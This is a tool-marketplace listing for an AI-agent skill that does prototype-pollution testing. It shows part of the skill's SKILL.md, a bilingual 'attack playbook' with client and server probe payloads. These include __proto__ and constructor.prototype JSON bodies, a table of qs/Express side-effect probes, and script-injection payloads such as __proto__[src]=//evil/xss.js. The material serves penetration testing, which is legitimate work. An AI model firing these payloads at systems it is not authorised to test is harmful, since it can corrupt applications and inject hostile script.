Skip to content
Agentmart
Submit a tool

prototype-pollution

Prototype pollution testing for JavaScript stacks.

Skill by langbyyi

IndexedApache-2.0★ 131
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/langbyyi-prototype-pollution

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

Use cases: testing

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/prototype-pollution

What's inside

Skill name
prototype-pollution
Description
Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.
License
Apache-2.0
Instructions
185 lines in SKILL.md · view on GitHub

Files (1)

  • SKILL.md

SKILL.md (first lines)

---
name: prototype-pollution
description: >-
  Prototype pollution testing for JavaScript stacks. Use when user input is
  merged into objects (query parsers, JSON bodies, deep assign), when
  configuring libraries via untrusted keys, or when hunting RCE gadgets via
  polluted Object.prototype in Node or the browser.
---

# SKILL: Prototype Pollution — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**.

中文路由提示:当存在深度合并、递归 assign、`JSON.parse` 后 `Object.assign`、或 URL 查询被转成嵌套对象时,优先怀疑 PP。

## 0. QUICK START

### Client-side first probes

```text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
```

在可反射到 DOM 或框架路由的场景,配合 `alert(1)` / `console` 观察是否全局对象属性被污染。

```text
#__proto__[xxx]=alert(1)
```

### Server-side first probes(JSON / form)

```json
{"__proto__":{"polluted":true}}
```

```json
{"constructor":{"prototype":{"polluted":true}}}
```

发送后检查:后续无关响应是否带上异常头/状态码/JSON 空格,或应用逻辑是否读取到 `Object.prototype.polluted`(见 §3 探测表)。

### Quick boolean

若目标使用 `lodash.merge`、`deep-extend`、`hoek.applyToDefaults`、部分 `qs`/`query-string` 配置,**提高优先级**。

---

## 1. MECHANISM

**原型链**:访问 `obj.key` 时,若 `obj` 自有属性无 `key`,沿 `[[Prototype]]` 向上查,直至 `Object.prototype`。

**`__proto__`**:许多解析器把字面键 `__proto__` 当作「把下面属性接到原型上」的魔法键(`Object.prototype` 的历史可访问属性路径)。合并 `{ "__proto__": { "x": 1 } }` 可能等价于 `Object.prototype.x = 1`(视实现与修复版本而定)。

**`constructor.prototype`**:`constructor` 通常指向对象的构造函数;`constructor.prototype` 即该构造器的 `prototype` 对象。对普通对象默认连到 `Object.prototype`。路径如:

```json
{"constructor":{"prototype":{"polluted":1}}}
```

与 `__proto__` 不一定等价(过滤、JSON 解析、Bun/Node 差异),需**双线测试**。

**攻击本质**:不是「多传一个参数」,而是**在未隔离的合并算法**里,把可控键指向**原型对象**,使**全局**或**共享模板上下文**获得恶意属性,后续代码「正常」读取该属性即触发 gadget。

---

## 2. CLIENT-SIDE DETECTION

### URL fragment

```text
https://app.example/page#__proto__[admin]=1
```

```text
https://app.example/#__proto__[xxx]=alert(1)
```

若路由或 analytics 把 fragment 解析进对象再合并,可能污染。

### `constructor.prototype` path

```text
#constructor[prototype][role]=admin
```

### DOM / 属性注入思路

框架若把属性名当对象键合并:

```text
__proto__[src]=//evil/xss.js
```

事件处理器型键(实现相关):

```text
__proto__[onerror]=alert(1)
```

**验证**:新开无 fragment 的页面,在控制台检查 `Object.prototype` 是否残留测试键;注意扩展与 DevTools 干扰。

---

## 3. SERVER-SIDE DETECTION (Express / Node, black-box)

以下载荷假设 body 或 query 被 **qs** 或同类解析器**深度解析**进对象(或与 `body-parser` 组合)。观测**全局副作用**,而非仅当前接口返回值。

| Payload(JSON 示意) | 预期可观察信号 |
|----------------------|----------------|
| `{"__proto__":{"parameterLimit":1}}` | 后续请求中多参数被忽略或解析异常(`qs` 风格 `parameterLimit`) |
| `{"__proto__":{"ignoreQueryPrefix":true}}` | `??foo=bar` 类双问号前缀被接受或行为突变 |
| `{"__proto__":{"allowDots":true}}` | `?foo.bar=baz` 嵌套键按点号展开生效 |
| `{"__proto__":{"json spaces":" "}}` | JSON 序列化响应出现额外空格(`JSON.stringify` 受污染空格设置影响) |
| `{"__proto__":{"exposedHeaders":["foo"]}}` | CORS 响应出现 `foo` 相关头(若框架从原型读配置) |
| `{"__proto__":{"status":510}}` | 某条响应状态码变为 510 或异常码(应用从对象读 `status`) |

**操作要点**:先发污染请求,再发**干净**请求观察是否持久;连接池与 worker 生命周期会影响「是否全局可见」。

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC

Signals

Stars
131
Forks
11
Open issues
0
Last commit (this folder)
Aug 6, 2026 (2 months ago)
Last release
Oct 16, 2026 (13 days ago)

From GitHub (fetched Oct 24, 2026).

Details

License
Apache-2.0
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from langbyyi

Cite this page

prototype-pollution skill. Agent Mart. https://agentmart.dev/skills/langbyyi-prototype-pollution (last updated 2026-10-24)